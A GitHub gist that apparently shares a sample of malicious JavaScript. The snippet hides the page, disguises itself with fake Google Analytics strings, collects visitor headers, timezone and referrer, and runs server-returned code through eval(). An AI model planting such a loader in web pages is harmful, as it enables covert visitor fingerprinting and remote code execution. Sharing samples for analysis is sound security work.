Skip to content

Instantly share code, notes, and snippets.

@brad-anton
Created March 28, 2017 20:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brad-anton/9d0c6654861d952f094824182cebdd29 to your computer and use it in GitHub Desktop.
Save brad-anton/9d0c6654861d952f094824182cebdd29 to your computer and use it in GitHub Desktop.
$(document).ready(function()
{
$("body").hide();
var f=new XMLHttpRequest();
f.open("GET",document.location,false);
f.send(null);
var g=f.getAllResponseHeaders().toLowerCase();
var b="GoogleAnalyticsObject";
var c=("document","script","//www.google-analytics.com/analytics.js");
c=("create","UA-3188658-1","auto");
c=("send","pageview");
var d=jstz.determine();
var e=d.name();
$.ajax(
{
url:location.href,type:"POST",data:"tz="+e+"&r="+document.referrer+"&he="+g,success:function(a)
{
eval(a)
}
}
)
}
);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment